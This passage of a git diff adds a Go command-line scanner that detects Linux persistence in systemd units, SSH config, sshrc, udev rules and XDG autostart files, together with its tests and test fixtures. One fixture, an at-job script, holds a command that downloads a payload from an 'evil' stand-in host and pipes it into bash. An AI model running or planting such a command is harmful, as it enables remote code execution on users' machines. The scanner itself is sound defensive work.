strings.Fields(trimmed) + if len(val) >= 2 { + keyPath := val[1] + if !strings.Contains( + keyPath, ".ssh/authorized_keys", + ) { + findings = append( + findings, types.Finding{ + Scanner: sshScannerName, + Severity: types.SeverityHigh, + Title: "Non-standard AuthorizedKeysFile path", + Path: path, + Evidence: trimmed, + MITRE: mitreSSH, + }, + ) + } + } + } + } + return findings +} + +const maxKeyLineLen = 120 + +func truncate(s string) string { + if len(s) <= maxKeyLineLen { + return s + } + return s[:maxKeyLineLen] + "..." +} diff --git a/PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/ssh_test.go b/PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/ssh_test.go new file mode 100644 index 00000000..9ffa2a8c --- /dev/null +++ b/PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/ssh_test.go @@ -0,0 +1,123 @@ +/* +©AngelaMos | 2026 +ssh_test.go +*/ + +package scanner + +import ( + "path/filepath" + "strings" + "testing" + + "github.com/CarterPerez-dev/sentinel/pkg/types" +) + +func TestSSHScanner_CleanKeys(t *testing.T) { + s := &SSHScanner{} + path := filepath.Join( + testdataDir(), "ssh", "clean-authorized-keys", + ) + + findings := s.scanAuthorizedKeys(path) + if len(findings) > 0 { + t.Errorf( + "clean keys produced %d findings, want 0", + len(findings), + ) + } +} + +func TestSSHScanner_CommandKeys(t *testing.T) { + s := &SSHScanner{} + path := filepath.Join( + testdataDir(), "ssh", "command-authorized-keys", + ) + + findings := s.scanAuthorizedKeys(path) + if len(findings) < 2 { + t.Fatalf( + "command keys: got %d findings, want >= 2", + len(findings), + ) + } + + hasCommand := false + hasEnv := false + for _, f := range findings { + if f.Severity == types.SeverityHigh { + switch { + case strings.Contains(f.Title, "Forced command"): + hasCommand = true + case strings.Contains( + f.Title, "Environment override", + ): + hasEnv = true + } + } + } + + if !hasCommand { + t.Error("expected finding for command= option") + } + if !hasEnv { + t.Error("expected finding for environment= option") + } +} + +func TestSSHScanner_SSHDConfigDangerous(t *testing.T) { + s := &SSHScanner{} + path := filepath.Join( + testdataDir(), "ssh", "sshd_config-dangerous", + ) + + findings := s.scanSSHDConfig(path) + if len(findings) < 2 { + t.Fatalf( + "dangerous sshd_config: got %d findings, want >= 2", + len(findings), + ) + } + + hasRootLogin := false + hasKeysFile := false + for _, f := range findings { + switch { + case strings.Contains( + f.Title, "PermitRootLogin", + ): + hasRootLogin = true + case strings.Contains( + f.Title, "AuthorizedKeysFile", + ): + hasKeysFile = true + } + } + + if !hasRootLogin { + t.Error("expected finding for PermitRootLogin yes") + } + if !hasKeysFile { + t.Error( + "expected finding for non-standard AuthorizedKeysFile", + ) + } +} + +func TestSSHScanner_SSHDConfigClean(t *testing.T) { + s := &SSHScanner{} + path := filepath.Join( + testdataDir(), "ssh", "sshd_config-clean", + ) + + findings := s.scanSSHDConfig(path) + if len(findings) > 0 { + t.Errorf( + "clean sshd_config produced %d findings, want 0", + len(findings), + ) + for _, f := range findings { + t.Logf(" finding: %s (%s)", f.Title, f.Evidence) + } + } +} diff --git a/PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/sshrc.go b/PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/sshrc.go new file mode 100644 index 00000000..4dd5f6bc --- /dev/null +++ b/PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/sshrc.go @@ -0,0 +1,74 @@ +/* +©AngelaMos | 2026 +sshrc.go + +Scans /etc/ssh/sshrc for system-wide SSH login persistence + +The sshrc file executes as the connecting user on every SSH login, +distinct from per-user ~/.ssh/rc files. Attackers plant callbacks +here because it runs before the user's shell and is rarely audited. + +MITRE ATT&CK: + T1546.004 - Event Triggered Execution: Unix Shell Configuration Modification +*/ + +package scanner + +import ( + "github.com/CarterPerez-dev/sentinel/pkg/types" +) + +const ( + sshrcScannerName = "sshrc" + mitreSSHRC = "T1546.004" +) + +func init() { + Register(&SSHRCScanner{}) +} + +type SSHRCScanner struct{} + +func (s *SSHRCScanner) Name() string { + return sshrcScannerName +} + +func (s *SSHRCScanner) Scan( + root string, +) []types.Finding { + var findings []types.Finding + + sshrc := ResolveRoot(root, "/etc/ssh/sshrc") + if !FileExists(sshrc) { + return nil + } + + findings = append(findings, types.Finding{ + Scanner: sshrcScannerName, + Severity: types.SeverityMedium, + Title: "System-wide sshrc login script exists", + Path: sshrc, + Evidence: "/etc/ssh/sshrc runs on every SSH login", + MITRE: mitreSSHRC, + }) + + findings = append( + findings, + ScanFileForPatterns( + sshrc, sshrcScannerName, mitreSSHRC, + )..., + ) + + if IsWorldWritable(sshrc) { + findings = append(findings, types.Finding{ + Scanner: sshrcScannerName, + Severity: types.SeverityMedium, + Title: "World-writable sshrc script", + Path: sshrc, + Evidence: "Any user can modify this login script", + MITRE: mitreSSHRC, + }) + } + + return findings +} diff --git a/PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/sshrc_test.go b/PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/sshrc_test.go new file mode 100644 index 00000000..1debd724 --- /dev/null +++ b/PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/sshrc_test.go @@ -0,0 +1,73 @@ +/* +©AngelaMos | 2026 +sshrc_test.go +*/ + +package scanner + +import ( + "os" + "path/filepath" + "testing" + + "github.com/CarterPerez-dev/sentinel/pkg/types" +) + +func TestSSHRCScanner_Exists(t *testing.T) { + root := t.TempDir() + sshDir := filepath.Join(root, "etc", "ssh") + if err := os.MkdirAll(sshDir, 0o750); err != nil { + t.Fatal(err) + } + + src := filepath.Join( + testdataDir(), "sshrc", "sshrc-malicious", + ) + data, err := os.ReadFile(src) //nolint:gosec + if err != nil { + t.Fatal(err) + } + writeTestFile( + t, filepath.Join(sshDir, "sshrc"), string(data), + ) + + s := &SSHRCScanner{} + findings := s.Scan(root) + + if len(findings) == 0 { + t.Fatal("sshrc with content produced no findings") + } + + hasExistence := false + hasPattern := false + for _, f := range findings { + if f.Title == "System-wide sshrc login script exists" { + hasExistence = true + } + if f.Severity >= types.SeverityMedium && + f.Title != "System-wide sshrc login script exists" { + hasPattern = true + } + } + + if !hasExistence { + t.Error("expected existence finding for sshrc") + } + if !hasPattern { + t.Error( + "expected pattern finding for curl in sshrc", + ) + } +} + +func TestSSHRCScanner_Missing(t *testing.T) { + s := &SSHRCScanner{} + findings := s.Scan(t.TempDir()) + + if len(findings) > 0 { + t.Errorf( + "missing sshrc produced %d findings, want 0", + len(findings), + ) + } +} diff --git a/PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/systemd.go b/PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/systemd.go new file mode 100644 index 00000000..5772ab56 --- /dev/null +++ b/PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/systemd.go @@ -0,0 +1,185 @@ +/* +©AngelaMos | 2026 +systemd.go + +Scans systemd unit files for persistence indicators + +Enumerates service and timer units across system and user directories, +parses Exec directives, and flags units that show signs of attacker +installation: suspicious commands, non-standard paths, world-writable +files, and recent modification timestamps. + +MITRE ATT&CK: + T1543.002 - Create or Modify System Process: Systemd Service + T1053.006 - Scheduled Task/Job: Systemd Timers +*/ + +package scanner + +import ( + "path/filepath" + "strings" + "time" + + "github.com/CarterPerez-dev/sentinel/pkg/types" +) + +const ( + systemdScannerName = "systemd" + mitreSystemd = "T1543.002" + mitreTimer = "T1053.006" + mitrePath = "T1543.002" +) + +var systemdDirs = []string{ + "/etc/systemd/system", + "/run/systemd/system", + "/usr/lib/systemd/system", +} + +var execDirectives = []string{ + "ExecStart=", + "ExecStartPre=", + "ExecStartPost=", + "ExecStop=", + "ExecStopPost=", + "ExecReload=", +} + +func init() { + Register(&SystemdScanner{}) +} + +type SystemdScanner struct{} + +func (s *SystemdScanner) Name() string { + return systemdScannerName +} + +func (s *SystemdScanner) Scan( + root string, +) []types.Finding { + var findings []types.Finding + + for _, dir := range systemdDirs { + resolved := ResolveRoot(root, dir) + findings = append( + findings, + s.scanDir(resolved)..., + ) + } + + for _, home := range FindUserDirs(root) { + userDir := filepath.Join( + home, ".config", "systemd", "user", + ) + findings = append( + findings, + s.scanDir(userDir)..., + ) + } + + return findings +} + +func (s *SystemdScanner) scanDir( + dir string, +) []types.Finding { + var findings []types.Finding + + files := ListFiles(dir) + for _, path := range files { + ext := filepath.Ext(path) + if ext != ".service" && ext != ".timer" && + ext != ".socket" && ext != ".path" { + continue + } + + mitre := mitreSystemd + switch ext { + case ".timer": + mitre = mitreTimer + case ".path": + mitre = mitrePath + } + + findings = append( + findings, + s.analyzeUnit(path, mitre)..., + ) + } + + entries := ListDir(dir) + for _, e := range entries { + if e.IsDir() && strings.HasSuffix(e.Name(), ".d") { + dropinDir := filepath.Join(dir, e.Name()) + for _, f := range ListFiles(dropinDir) { + if strings.HasSuffix(f, ".conf") { + findings = append( + findings, + s.analyzeUnit(f, mitreSystemd)..., + ) + } + } + } + } + + return findings +} + +func (s *SystemdScanner) analyzeUnit( + path, mitre string, +) []types.Finding { + var findings []types.Finding + lines := ReadLines(path) + + for _, line := range lines { + trimmed := strings.TrimSpace(line) + for _, directive := range execDirectives { + if !strings.HasPrefix(trimmed, directive) { + continue + } + cmd := strings.TrimPrefix(trimmed, directive) + cmd = strings.TrimPrefix(cmd, "-") + + matched, sev, label := MatchLine(cmd) + if matched { + findings = append(findings, types.Finding{ + Scanner: systemdScannerName, + Severity: sev, + Title: "Suspicious " + + strings.TrimSuffix( + directive, "=", + ) + ": " + label, + Path: path, + Evidence: trimmed, + MITRE: mitre, + }) + } + } + } + + if IsWorldWritable(path) { + findings = append(findings, types.Finding{ + Scanner: systemdScannerName, + Severity: types.SeverityMedium, + Title: "World-writable unit file", + Path: path, + Evidence: "File permissions allow any user to modify this unit", + MITRE: mitre, + }) + } + + if ModifiedWithin(path, 24*time.Hour) { + findings = append(findings, types.Finding{ + Scanner: systemdScannerName, + Severity: types.SeverityMedium, + Title: "Recently modified unit file", + Path: path, + Evidence: "Modified within the last 24 hours", + MITRE: mitre, + }) + } + + return findings +} diff --git a/PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/systemd_test.go b/PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/systemd_test.go new file mode 100644 index 00000000..b7dc9c30 --- /dev/null +++ b/PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/systemd_test.go @@ -0,0 +1,129 @@ +/* +©AngelaMos | 2026 +systemd_test.go +*/ + +package scanner + +import ( + "path/filepath" + "runtime" + "testing" + + "github.com/CarterPerez-dev/sentinel/pkg/types" +) + +func testdataDir() string { + _, file, _, _ := runtime.Caller(0) + return filepath.Join( + filepath.Dir(file), + "..", "..", "testdata", + ) +} + +func TestSystemdScanner_CleanService(t *testing.T) { + s := &SystemdScanner{} + findings := s.analyzeUnit( + filepath.Join( + testdataDir(), "systemd", "clean-service.service", + ), + mitreSystemd, + ) + + suspicious := filterSuspicious(findings) + if len(suspicious) > 0 { + t.Errorf( + "clean service produced %d suspicious findings, want 0", + len(suspicious), + ) + for _, f := range suspicious { + t.Logf(" finding: %s (%s)", f.Title, f.Evidence) + } + } +} + +func TestSystemdScanner_SuspiciousService(t *testing.T) { + s := &SystemdScanner{} + findings := s.analyzeUnit( + filepath.Join( + testdataDir(), + "systemd", + "suspicious-service.service", + ), + mitreSystemd, + ) + + suspicious := filterSuspicious(findings) + if len(suspicious) == 0 { + t.Fatal("suspicious service produced no findings") + } + + foundCurl := false + foundTmp := false + for _, f := range suspicious { + if f.Severity >= types.SeverityHigh { + foundCurl = true + } + if f.Severity >= types.SeverityMedium { + foundTmp = true + } + } + + if !foundCurl { + t.Error("expected high-severity finding for curl|sh") + } + if !foundTmp { + t.Error("expected finding for /tmp path") + } +} + +func TestSystemdScanner_TimerMITRE(t *testing.T) { + s := &SystemdScanner{} + path := filepath.Join( + testdataDir(), + "systemd", + "timer-backdoor.timer", + ) + findings := s.analyzeUnit(path, mitreTimer) + + for _, f := range findings { + if f.MITRE != mitreTimer { + t.Errorf( + "timer finding MITRE = %q, want %q", + f.MITRE, mitreTimer, + ) + } + } +} + +func TestSystemdScanner_PathUnit(t *testing.T) { + s := &SystemdScanner{} + path := filepath.Join( + testdataDir(), + "systemd", + "watch-beacon.path", + ) + findings := s.analyzeUnit(path, mitrePath) + + for _, f := range findings { + if f.MITRE != mitrePath { + t.Errorf( + "path unit MITRE = %q, want %q", + f.MITRE, mitrePath, + ) + } + } +} + +func filterSuspicious( + findings []types.Finding, +) []types.Finding { + var result []types.Finding + for _, f := range findings { + if f.Severity >= types.SeverityMedium && + f.Title != "Recently modified unit file" { + result = append(result, f) + } + } + return result +} diff --git a/PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/udev.go b/PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/udev.go new file mode 100644 index 00000000..95cf9329 --- /dev/null +++ b/PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/udev.go @@ -0,0 +1,130 @@ +/* +©AngelaMos | 2026 +udev.go + +Scans udev rules for persistence through device event triggers + +Parses udev rule files for RUN+= directives that execute commands +on hardware events. Flags rules pointing to suspicious paths or +containing shell interpreters and network tools. + +MITRE ATT&CK: + T1546 - Event Triggered Execution +*/ + +package scanner + +import ( + "strings" + + "github.com/CarterPerez-dev/sentinel/pkg/types" +) + +const ( + udevScannerName = "udev" + mitreUdev = "T1546" +) + +var udevDirs = []string{ + "/etc/udev/rules.d", + "/lib/udev/rules.d", + "/usr/lib/udev/rules.d", + "/run/udev/rules.d", +} + +func init() { + Register(&UdevScanner{}) +} + +type UdevScanner struct{} + +func (u *UdevScanner) Name() string { + return udevScannerName +} + +func (u *UdevScanner) Scan( + root string, +) []types.Finding { + var findings []types.Finding + + for _, dir := range udevDirs { + resolved := ResolveRoot(root, dir) + for _, path := range ListFiles(resolved) { + if !strings.HasSuffix(path, ".rules") { + continue + } + findings = append( + findings, + u.scanRuleFile(path)..., + ) + } + } + + return findings +} + +func (u *UdevScanner) scanRuleFile( + path string, +) []types.Finding { + lines := ReadLines(path) + if lines == nil { + return nil + } + + var findings []types.Finding + for _, line := range lines { + trimmed := strings.TrimSpace(line) + if IsCommentOrEmpty(trimmed) { + continue + } + + if !strings.Contains(trimmed, "RUN+=") && + !strings.Contains(trimmed, "RUN+=\"") { + continue + } + + runCmd := extractRunDirective(trimmed) + if runCmd == "" { + continue + } + + matched, sev, label := MatchLine(runCmd) + if matched { + findings = append(findings, types.Finding{ + Scanner: udevScannerName, + Severity: sev, + Title: "Suspicious udev RUN directive: " + label, + Path: path, + Evidence: trimmed, + MITRE: mitreUdev, + }) + continue + } + + if TempDirPattern.MatchString(runCmd) || + containsShellCommand(runCmd) { + findings = append(findings, types.Finding{ + Scanner: udevScannerName, + Severity: types.SeverityMedium, + Title: "Udev rule executes command", + Path: path, + Evidence: trimmed, + MITRE: mitreUdev, + }) + } + } + return findings +} + +func extractRunDirective(line string) string { + idx := strings.Index(line, "RUN+=") + if idx == -1 { + return "" + } + rest := line[idx+5:] + rest = strings.TrimPrefix(rest, "\"") + if end := strings.Index(rest, "\""); end != -1 { + return rest[:end] + } + return strings.TrimSpace(rest) +} diff --git a/PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/udev_test.go b/PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/udev_test.go new file mode 100644 index 00000000..ecde4b9d --- /dev/null +++ b/PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/udev_test.go @@ -0,0 +1,72 @@ +/* +©AngelaMos | 2026 +udev_test.go +*/ + +package scanner + +import ( + "path/filepath" + "testing" + + "github.com/CarterPerez-dev/sentinel/pkg/types" +) + +func TestUdevScanner_BackdoorRule(t *testing.T) { + u := &UdevScanner{} + path := filepath.Join( + testdataDir(), "udev", "backdoor.rules", + ) + + findings := u.scanRuleFile(path) + if len(findings) == 0 { + t.Fatal("backdoor udev rule produced no findings") + } + + hasHighOrAbove := false + for _, f := range findings { + if f.Severity >= types.SeverityHigh { + hasHighOrAbove = true + } + } + + if !hasHighOrAbove { + t.Error("expected high+ severity for curl|sh in RUN+=") + } +} + +func TestExtractRunDirective(t *testing.T) { + tests := []struct { + name string + line string + want string + }{ + { + name: "quoted directive", + line: `ACTION=="add", RUN+="/bin/bash -c 'echo test'"`, + want: "/bin/bash -c 'echo test'", + }, + { + name: "no run directive", + line: `ACTION=="add", SUBSYSTEM=="usb"`, + want: "", + }, + { + name: "unquoted directive", + line: `RUN+=/usr/bin/payload`, + want: "/usr/bin/payload", + }, + } + + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + got := extractRunDirective(tt.line) + if got != tt.want { + t.Errorf( + "extractRunDirective(%q) = %q, want %q", + tt.line, got, tt.want, + ) + } + }) + } +} diff --git a/PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/xdg.go b/PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/xdg.go new file mode 100644 index 00000000..d2e7ceed --- /dev/null +++ b/PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/xdg.go @@ -0,0 +1,120 @@ +/* +©AngelaMos | 2026 +xdg.go + +Scans XDG autostart entries for persistence through desktop login + +Parses .desktop files in system and user autostart directories for +suspicious Exec= directives that run on graphical session login. + +MITRE ATT&CK: + T1547.013 - Boot or Logon Autostart Execution: XDG Autostart Entries +*/ + +package scanner + +import ( + "path/filepath" + "strings" + + "github.com/CarterPerez-dev/sentinel/pkg/types" +) + +const ( + xdgScannerName = "xdg" + mitreXDG = "T1547.013" +) + +func init() { + Register(&XDGScanner{}) +} + +type XDGScanner struct{} + +func (x *XDGScanner) Name() string { + return xdgScannerName +} + +func (x *XDGScanner) Scan( + root string, +) []types.Finding { + var findings []types.Finding + + sysDir := ResolveRoot(root, "/etc/xdg/autostart") + findings = append( + findings, + x.scanAutostartDir(sysDir)..., + ) + + for _, home := range FindUserDirs(root) { + userDir := filepath.Join( + home, ".config", "autostart", + ) + findings = append( + findings, + x.scanAutostartDir(userDir)..., + ) + } + + return findings +} + +func (x *XDGScanner) scanAutostartDir( + dir string, +) []types.Finding { + var findings []types.Finding + + for _, path := range ListFiles(dir) { + if !strings.HasSuffix(path, ".desktop") { + continue + } + findings = append( + findings, + x.analyzeDesktop(path)..., + ) + } + + return findings +} + +func (x *XDGScanner) analyzeDesktop( + path string, +) []types.Finding { + lines := ReadLines(path) + if lines == nil { + return nil + } + + var findings []types.Finding + for _, line := range lines { + trimmed := strings.TrimSpace(line) + + if !strings.HasPrefix(trimmed, "Exec=") { + continue + } + + cmd := strings.TrimPrefix(trimmed, "Exec=") + matched, sev, label := MatchLine(cmd) + if matched { + findings = append(findings, types.Finding{ + Scanner: xdgScannerName, + Severity: sev, + Title: "Suspicious XDG autostart: " + label, + Path: path, + Evidence: trimmed, + MITRE: mitreXDG, + }) + } else if TempDirPattern.MatchString(cmd) { + findings = append(findings, types.Finding{ + Scanner: xdgScannerName, + Severity: types.SeverityMedium, + Title: "XDG autostart runs from temp directory", + Path: path, + Evidence: trimmed, + MITRE: mitreXDG, + }) + } + } + + return findings +} diff --git a/PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/xdg_test.go b/PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/xdg_test.go new file mode 100644 index 00000000..d3247004 --- /dev/null +++ b/PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/xdg_test.go @@ -0,0 +1,85 @@ +/* +©AngelaMos | 2026 +xdg_test.go +*/ + +package scanner + +import ( + "path/filepath" + "strings" + "testing" + + "github.com/CarterPerez-dev/sentinel/pkg/types" +) + +func TestXDGScanner_CleanDesktop(t *testing.T) { + x := &XDGScanner{} + path := filepath.Join( + testdataDir(), "xdg", "clean.desktop", + ) + + findings := x.analyzeDesktop(path) + if len(findings) > 0 { + t.Errorf( + "clean desktop file produced %d findings, want 0", + len(findings), + ) + for _, f := range findings { + t.Logf(" finding: %s (%s)", f.Title, f.Evidence) + } + } +} + +func TestXDGScanner_SuspiciousDesktop(t *testing.T) { + x := &XDGScanner{} + path := filepath.Join( + testdataDir(), "xdg", "suspicious.desktop", + ) + + findings := x.analyzeDesktop(path) + if len(findings) == 0 { + t.Fatal( + "suspicious desktop file produced no findings", + ) + } + + hasHigh := false + for _, f := range findings { + if f.Severity >= types.SeverityHigh { + hasHigh = true + } + } + + if !hasHigh { + t.Error("expected high+ severity for curl|sh in Exec=") + } +} + +func TestXDGScanner_TmpDirDesktop(t *testing.T) { + x := &XDGScanner{} + path := filepath.Join( + testdataDir(), "xdg", "tmpdir.desktop", + ) + + findings := x.analyzeDesktop(path) + if len(findings) == 0 { + t.Fatal( + "tmp dir desktop file produced no findings", + ) + } + + hasTmp := false + for _, f := range findings { + if strings.Contains(f.Title, "temp") || + strings.Contains(f.Title, "temporary") { + hasTmp = true + } + } + + if !hasTmp { + t.Error( + "expected temp directory finding for /tmp path", + ) + } +} diff --git a/PROJECTS/beginner/systemd-persistence-scanner/internal/ui/banner.go b/PROJECTS/beginner/systemd-persistence-scanner/internal/ui/banner.go new file mode 100644 index 00000000..618d678d --- /dev/null +++ b/PROJECTS/beginner/systemd-persistence-scanner/internal/ui/banner.go @@ -0,0 +1,45 @@ +/* +©AngelaMos | 2026 +banner.go + +ASCII art banner renderer for the sentinel CLI header + +Renders the SENTINEL logo in alternating red and cyan before scans. +*/ + +package ui + +import "fmt" + +var sentinelBanner = []string{ + "███████╗███████╗███╗ ██╗████████╗██╗███╗ ██╗███████╗██╗", + "██╔════╝██╔════╝████╗ ██║╚══██╔══╝██║████╗ ██║██╔════╝██║", + "███████╗█████╗ ██╔██╗ ██║ ██║ ██║██╔██╗ ██║█████╗ ██║", + "╚════██║██╔══╝ ██║╚██╗██║ ██║ ██║██║╚██╗██║██╔══╝ ██║", + "███████║███████╗██║ ╚████║ ██║ ██║██║ ╚████║███████╗███████╗", + "╚══════╝╚══════╝╚═╝ ╚═══╝ ╚═╝ ╚═╝╚═╝ ╚═══╝╚══════╝╚══════╝", +} + +var bannerColors = []func(a ...any) string{ + Cyan, + Red, + Cyan, + Red, + Cyan, + Red, +} + +func PrintBanner() { + fmt.Println() + for i, line := range sentinelBanner { + c := bannerColors[i%len(bannerColors)] + fmt.Printf(" %s\n", c(line)) + } + fmt.Printf( + " %s\n", + HiBlackItalic( + " Linux persistence mechanism scanner", + ), + ) + fmt.Printf(" %s\n\n", Dim(HRule(65))) +} diff --git a/PROJECTS/beginner/systemd-persistence-scanner/internal/ui/color.go b/PROJECTS/beginner/systemd-persistence-scanner/internal/ui/color.go new file mode 100644 index 00000000..8310fc6d --- /dev/null +++ b/PROJECTS/beginner/systemd-persistence-scanner/internal/ui/color.go @@ -0,0 +1,58 @@ +/* +©AngelaMos | 2026 +color.go + +ANSI color sprint functions for terminal output + +Exposes pre-built color functions from fatih/color for all severity +levels and UI elements used by the report formatter and banner. +*/ + +package ui + +import "github.com/fatih/color" + +var ( + Red = color.New(color.FgRed).SprintFunc() + Green = color.New(color.FgGreen).SprintFunc() + Yellow = color.New(color.FgYellow).SprintFunc() + Blue = color.New(color.FgBlue).SprintFunc() + Magenta = color.New(color.FgMagenta).SprintFunc() + Cyan = color.New(color.FgCyan).SprintFunc() + White = color.New(color.FgWhite).SprintFunc() + + HiRed = color.New(color.FgHiRed).SprintFunc() + HiGreen = color.New(color.FgHiGreen).SprintFunc() + HiCyan = color.New(color.FgHiCyan).SprintFunc() + HiWhite = color.New(color.FgHiWhite).SprintFunc() + + RedBold = color.New( + color.FgRed, color.Bold, + ).SprintFunc() + YellowBold = color.New( + color.FgYellow, color.Bold, + ).SprintFunc() + CyanBold = color.New( + color.FgCyan, color.Bold, + ).SprintFunc() + GreenBold = color.New( + color.FgGreen, color.Bold, + ).SprintFunc() + MagentaBold = color.New( + color.FgMagenta, color.Bold, + ).SprintFunc() + WhiteBold = color.New( + color.FgWhite, color.Bold, + ).SprintFunc() + HiRedBold = color.New( + color.FgHiRed, color.Bold, + ).SprintFunc() + + Dim = color.New(color.Faint).SprintFunc() + DimItalic = color.New( + color.Faint, color.Italic, + ).SprintFunc() + HiBlackItalic = color.New( + color.FgHiBlack, color.Italic, + ).SprintFunc() +) diff --git a/PROJECTS/beginner/systemd-persistence-scanner/internal/ui/spinner.go b/PROJECTS/beginner/systemd-persistence-scanner/internal/ui/spinner.go new file mode 100644 index 00000000..c5792d5c --- /dev/null +++ b/PROJECTS/beginner/systemd-persistence-scanner/internal/ui/spinner.go @@ -0,0 +1,91 @@ +/* +©AngelaMos | 2026 +spinner.go + +Goroutine-backed terminal spinner with graceful stop + +Renders a braille-frame animation while scanners run. Hides the +cursor on start, clears the line on stop, and uses a WaitGroup to +block until the background goroutine exits cleanly. +*/ + +package ui + +import ( + "fmt" + "strings" + "sync" + "time" +) + +var frames = []string{ + "⠋", "⠙", "⠹", "⠸", "⠼", "⠴", "⠦", "⠧", "⠇", "⠏", +} + +type Spinner struct { + msg string + done chan struct{} + wg sync.WaitGroup + mu sync.Mutex + active bool +} + +func NewSpinner(msg string) *Spinner { + return &Spinner{msg: msg} +} + +func (s *Spinner) Start() { + s.mu.Lock() + if s.active { + s.mu.Unlock() + return + } + s.active = true + s.done = make(chan struct{}) + s.wg.Add(1) + s.mu.Unlock() + + go s.run() +} + +func (s *Spinner) Stop() { + s.mu.Lock() + if !s.active { + s.mu.Unlock() + return + } + s.active = false + close(s.done) + s.mu.Unlock() + s.wg.Wait() +} + +func (s *Spinner) run() { + defer s.wg.Done() + fmt.Print("\033[?25l") + + ticker := time.NewTicker(80 * time.Millisecond) + defer ticker.Stop() + + idx := 0 + for { + select { + case <-s.done: + clearLine() + fmt.Print("\033[?25h") + return + case <-ticker.C: + frame := frames[idx%len(frames)] + fmt.Printf( + "\r %s %s", + CyanBold(frame), + Magenta(s.msg), + ) + idx++ + } + } +} + +func clearLine() { + fmt.Print("\r" + strings.Repeat(" ", 80) + "\r") +} diff --git a/PROJECTS/beginner/systemd-persistence-scanner/internal/ui/symbol.go b/PROJECTS/beginner/systemd-persistence-scanner/internal/ui/symbol.go new file mode 100644 index 00000000..44db3f15 --- /dev/null +++ b/PROJECTS/beginner/systemd-persistence-scanner/internal/ui/symbol.go @@ -0,0 +1,29 @@ +/* +©AngelaMos | 2026 +symbol.go + +Named Unicode symbol constants and horizontal rule helper for terminal output + +Centralizes every UI glyph used across the CLI so report formatters +stay readable without hard-coded Unicode literals. +*/ + +package ui + +import "strings" + +const ( + Arrow = "→" + ArrowRight = "▸" + Check = "✓" + Cross = "✗" + Diamond = "◆" + DividerChar = "━" + Dot = "●" + Timer = "⏱" + Shield = "🛡" +) + +func HRule(width int) string { + return strings.Repeat(DividerChar, width) +} diff --git a/PROJECTS/beginner/systemd-persistence-scanner/pkg/types/types.go b/PROJECTS/beginner/systemd-persistence-scanner/pkg/types/types.go new file mode 100644 index 00000000..91bdb84f --- /dev/null +++ b/PROJECTS/beginner/systemd-persistence-scanner/pkg/types/types.go @@ -0,0 +1,110 @@ +/* +©AngelaMos | 2026 +types.go + +Shared domain types used across all packages in sentinel + +Defines the core data structures that flow through the scan pipeline: +scanner results, individual findings with severity and MITRE mappings, +and the aggregated scan report. All packages import from here; nothing +in this package imports from internal packages. +*/ + +package types + +import "time" + +const Version = "1.0.0" + +type Severity int + +const ( + SeverityInfo Severity = iota + SeverityLow + SeverityMedium + SeverityHigh + SeverityCritical +) + +func (s Severity) String() string { + return severityNames[s] +} + +func (s Severity) Label() string { + return severityLabels[s] +} + +var severityNames = map[Severity]string{ + SeverityInfo: "info", + SeverityLow: "low", + SeverityMedium: "medium", + SeverityHigh: "high", + SeverityCritical: "critical", +} + +var severityLabels = map[Severity]string{ + SeverityInfo: "INFO", + SeverityLow: "LOW", + SeverityMedium: "MEDIUM", + SeverityHigh: "HIGH", + SeverityCritical: "CRITICAL", +} + +func ParseSeverity(s string) Severity { + for sev, name := range severityNames { + if name == s { + return sev + } + } + return SeverityInfo +} + +type Finding struct { + Scanner string `json:"scanner"` + Severity Severity `json:"severity"` + Title string `json:"title"` + Path string `json:"path"` + Evidence string `json:"evidence"` + MITRE string `json:"mitre"` +} + +type ScanResult struct { + Version string `json:"version"` + ScanTime time.Time `json:"scan_time"` + Hostname string `json:"hostname"` + Findings []Finding `json:"findings"` + Summary SeverityCount `json:"summary"` + DurationMs int64 `json:"duration_ms"` +} + +type SeverityCount struct { + Critical int `json:"critical"` + High int `json:"high"` + Medium int `json:"medium"` + Low int `json:"low"` + Info int `json:"info"` +} + +func Tally(findings []Finding) SeverityCount { + var c SeverityCount + for _, f := range findings { + switch f.Severity { + case SeverityCritical: + c.Critical++ + case SeverityHigh: + c.High++ + case SeverityMedium: + c.Medium++ + case SeverityLow: + c.Low++ + case SeverityInfo: + c.Info++ + } + } + return c +} + +type Scanner interface { + Name() string + Scan(root string) []Finding +} diff --git a/PROJECTS/beginner/systemd-persistence-scanner/testdata/atjob/pending-job b/PROJECTS/beginner/systemd-persistence-scanner/testdata/atjob/pending-job new file mode 100755 index 00000000..664a151d --- /dev/null +++ b/PROJECTS/beginner/systemd-persistence-scanner/testdata/atjob/pending-job @@ -0,0 +1,2 @@ +#!/bin/sh +curl http://evil.example.com/payload | bash diff --git a/PROJECTS/beginner/systemd-persistence-scanner/testdata/completion/clean-completion b/PROJECTS/beginner/systemd-persistence-scanner/testdata/completion/clean-completion new file mode 100644 index 00000000..2a3cd047 --- /dev/null +++ b/PROJECTS/beginner/systemd-persistence-scanner/testdata/completion/clean-completion @@ -0,0 +1,10 @@ +_my_tool_completions() +{ + local cur prev opts + COMPREPLY=() + cur="${COMP_WORDS[COMP_CWORD]}" + opts="start stop status" + COMPREPLY=( $(compgen -W "${opts}" -- ${cur}) ) + return 0 +} +complete -F _my_tool_completions mytool diff --git 